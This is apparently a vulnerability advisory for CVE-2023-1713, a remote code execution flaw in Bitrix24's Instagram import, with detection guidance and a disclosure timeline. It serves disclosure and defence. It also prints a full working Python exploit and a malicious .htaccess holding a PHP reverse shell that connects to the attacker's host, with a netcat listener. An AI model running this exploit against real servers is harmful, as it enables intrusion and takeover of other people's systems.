Summary

Product Bitrix24
Vendor Bitrix24
Severity High
Affected Versions Bitrix24 22.0.300 (latest version as of writing)
Tested Versions Bitrix24 22.0.300 (latest version as of writing)
CVE Identifier CVE-2023-1713
CVE Description Insecure temporary file creation in bitrix/modules/crm/lib/order/import/instagram.php in Bitrix24 22.0.300 hosted on Apache HTTP Server allows remote authenticated attackers to execute arbitrary code via uploading a crafted “.htaccess” file.
CWE Classification(s) CWE-73 External Control of File Name or Path; CWE-434 Unrestricted Upload of File with Dangerous Type
CAPEC Classification(s) CAPEC-549 Local Execution of Code

CVSS3.1 Scoring System

Base Score: 8.8 (High) Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Vulnerability Details

This report presents information on an insecure temporary file creation vulnerability in Bitrix24 which allows an adversary to run arbitrary commands on the affected web server.

It was discovered that the importAjax action of the crm.order.import.instagram.view component located at bitrix/components/bitrix/crm.order.import.instagram.view/class.php downloads an attacker controlled file and saves it as a temporary file in the upload directory. As the attacker has full control over the name of the file, they can override important configuration files such as .htaccess and thus achieve remote code execution.

The importAjaxAction function is called when a POST request is made to https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3Acrm.order.import.instagram.view&action=importAjax.

This function eventually calls Instagram::saveImage (found in bitrix/modules/crm/lib/order/import/instagram.php lines 476 to 514) where the vulnerability occurs:

// bitrix/modules/crm/lib/order/import/instagram.php

protected static function saveImage($url){
    $fileId = false;

    $httpClient = new HttpClient();
    $httpClient->setTimeout(5);
    $httpClient->setStreamTimeout(5);

    $urlComponents = parse_url($url);

    if ($urlComponents && $urlComponents['path'] <> ''){
        $tempPath = \CFile::GetTempName(
            '', bx_basename($urlComponents['path']) // [1]
        );
    }else{
        $tempPath = \CFile::GetTempName('', bx_basename($url));
    }

    $httpClient->download($url, $tempPath); // [2]

    // Move temporary file to permanent location
}

At [1], the server generates the path where the downloaded file is stored using the CFile::GetTempName function. The second parameter of this function, $file_name is derived from the attacker supplied URL via the bx_basename function which returns the trailing name component of the path.

For example, if the attacker controlled $url is https://attacker.com/example.txt, the $file_name argument will be example.txt.

CFile::GetTempName calls CTempFile::GetFileName after minor processing on the $file_name parameter.

CTempFile::GetFileName generates a path of the form $BITRIX_ROOT/upload/tmp/xxx/$file_name, where xxx is a randomly generated 3 character alphanumeric string.

At [2], the attacker controlled file is downloaded, and subsequently saved to the path generated in [1]. It is important to note that the path generated by CTempFile::GetFileName ends with the attacker controlled filename, therefore they have full control over the name of the file that is created, but not its path.

If the Apache web server is used, as is recommended by the Bitrix24 installation guide, the creation of an attacker controlled .htaccess file could allow the attacker to alter the configuration applied to files in the same directory as the .htaccess file.

A malicious attacker may craft a .htaccess file that enables public read access to itself, then configures Apache to interpret the file as PHP code. This would result in the execution of attacker controlled code on the web server. An example of such a file is included in the Proof-of-Concept section below.

The last remaining hurdle to an attacker is determining the location of the uploaded .htaccess file on the web server. As the generated paths are of the form $BITRIX_ROOT/upload/tmp/xxx/$file_name, where xxx is a string consisting of lowercase alphabets and numbers, there are $36^3 = 46656$ possible paths, which would require significant time to bruteforce.

Additionally, the temporary files are deleted when all images in the request have been downloaded and processed. With a 5 second timeout on both the initial request connection establishment and the subsequent stream download, it seems that an attacker would not have much time to execute their attack:

// bitrix/modules/crm/lib/order/import/instagram.php

$httpClient = new HttpClient();
$httpClient->setTimeout(5);
$httpClient->setStreamTimeout(5);

However, it is discovered that the streamTimeout can be bypassed by a web server periodically sending a small chunk of data, such that the time interval between response body chunks is less than 5 seconds. Therefore, an attacker can delay the deletion of uploaded files for as long as desired.

To increase the probability of guessing a correct path, multiple “images” can be specified in a single request. This will cause the application to download copies of the same malicious .htaccess files to multiple paths, increasing the chance that an attacker guesses the path correctly.

For example, if the request contains 1000 “images”, on average the attacker would only need $\frac{46656}{1000} = 46.656$ requests to correctly guess the path of one of the .htaccess files.

By utilizing the bypasses and optimizations detailed above, we have reliably demonstrated that an authenticated attacker may exploit this vulnerability to achieve RCE within 60 seconds, when the attacker and victim Bitrix24 application are located on the same device.

An attacker could further improve the success rate of the attack by sending requests in parallel or increasing the number of .htaccess files downloaded.

Proof-of-Concept

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the insecure temporary file creation vulnerability and opens a reverse shell connection to the victim web server.

It is worth noting that a user without any permissions or access to any group can exploit this vulnerability.

A sample exploit script is shown below:

# Bitrix24 Insecure Tempory File creation RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import requests
import re
import os
import typing
import time
import itertools
import string
import subprocess

import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from urllib.parse import urlparse

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

LPORT1 = 8001
LPORT2 = 9001
LHOST = "192.168.86.43"
DELAY_SECONDS = 60
N_REPS = 1000


PROXY = None

def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=f"[{k}]")
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def start_server():
    class MyHandler(http.server.BaseHTTPRequestHandler):
        htaccess = open("./.htaccess", "rb").read()

        def do_GET(self):
            path = urlparse(self.path).path

            self.send_response(200)
            self.end_headers()

            # Request .htaccess
            if ".htaccess" in path:
                self.wfile.write(self.htaccess)
                self.wfile.flush()
                return

            # Delay
            print("[+] Delaying return by", DELAY_SECONDS, "seconds")
            # send the body of the response
            for i in range(DELAY_SECONDS):
                self.wfile.write(b"A\n")
                self.wfile.flush()
                time.sleep(1)

            # Shutdown server when done
            self.server.shutdown()

        def log_message(self, format: str, *args: typing.Any) -> None:
            # Silence logging
            pass

    class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
        """Handle requests in a separate thread."""

    httpd = ThreadedHTTPServer(("0.0.0.0", LPORT1), MyHandler)

    def forever():
        with httpd:
            httpd.serve_forever()

    thread = threading.Thread(target=forever, daemon=True)
    thread.start()
    print("[+] Started HTTP server on", LPORT1)
    return httpd


def instagram_import(session, sessid):
    session.post(
        HOST
        + "/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
        data=nested_to_urlencoded([{
            "IMAGES": [
                          f"http://{LHOST}:{LPORT1}/.htaccess"
                      ] * N_REPS + [f"http://{LHOST}:{LPORT1}/delay"],
            "NAME": "Product 1"
        }], prefix="items"
        ),
        headers={"X-Bitrix-Csrf-Token": sessid},
    )
    print("[+] Waiting done")


def test_exists(dir_name):
    resp = requests.head(f"{HOST}/upload/tmp/{dir_name}/.htaccess", proxies=PROXY)
    return resp.status_code == 200


def bruteforce():
    print("[+] Bruteforcing .htaccess location")
    chars = string.digits + string.ascii_lowercase
    for dir_name in itertools.product(chars, repeat=3):
        dir_name = "".join(dir_name)
        if test_exists(dir_name):
            print(f"[+] Found .htaccess: {HOST}/upload/tmp/{dir_name}/.htaccess")
            return dir_name


def reverse_shell(dir_name):
    requests.get(f"{HOST}/upload/tmp/{dir_name}/.htaccess?ip={LHOST}&port={LPORT2}", proxies=PROXY)


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    start_server()
    threading.Thread(target=instagram_import, args=(s, sessid)).start()
    dir_name = bruteforce()
    threading.Thread(target=reverse_shell, args=(dir_name,)).start()

    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT2)])

.htaccess file:

<Files ~ "^\.ht">
    Require all granted
    Order allow,deny
    Allow from all
    SetHandler application/x-httpd-php
</Files>


# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>

This file is required to be present in the same directory as the Python3 exploit code. When running the exploit code, it will spawn an HTTP server on LPORT1 serving the malicious .htaccess file, and also start a netcat listener on LPORT2 for the reverse shell.

Exploit Conditions

This vulnerability can be exploited when the attacker has any valid set of credentials (regardless of privileges).

Detection Guidance

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /upload/tmp/xxx/.htaccess where xxx is a 3 character alphanumeric string, or any request made to /upload/tmp/ as this path is not supposed to be accessed over HTTP request. A large number of requests to such URLs is strongly indicative of exploitation of this vulnerability.

Credits

Lam Jun Rong & Li Jiantao of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
  • 2023-03-18 No reply from vendor, tried using the form again
  • 2023-03-21 Email to [email protected]
  • 2023-03-21 Email to [email protected]
  • 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
  • 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
  • 2023-03-30 [redacted] replied to us
  • 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
  • 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
  • 2023-03-31 [redacted] emailed back with the invite
  • 2023-03-31 Submitted the reports via that [USA bug bounty platform]
  • 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
  • 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
  • 2023-04-04 We submitted the final 2 reports
  • 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
  • 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
  • 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
  • 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
  • 2023-09-22 [redacted] accepted the date
  • 2023-11-01 Public Release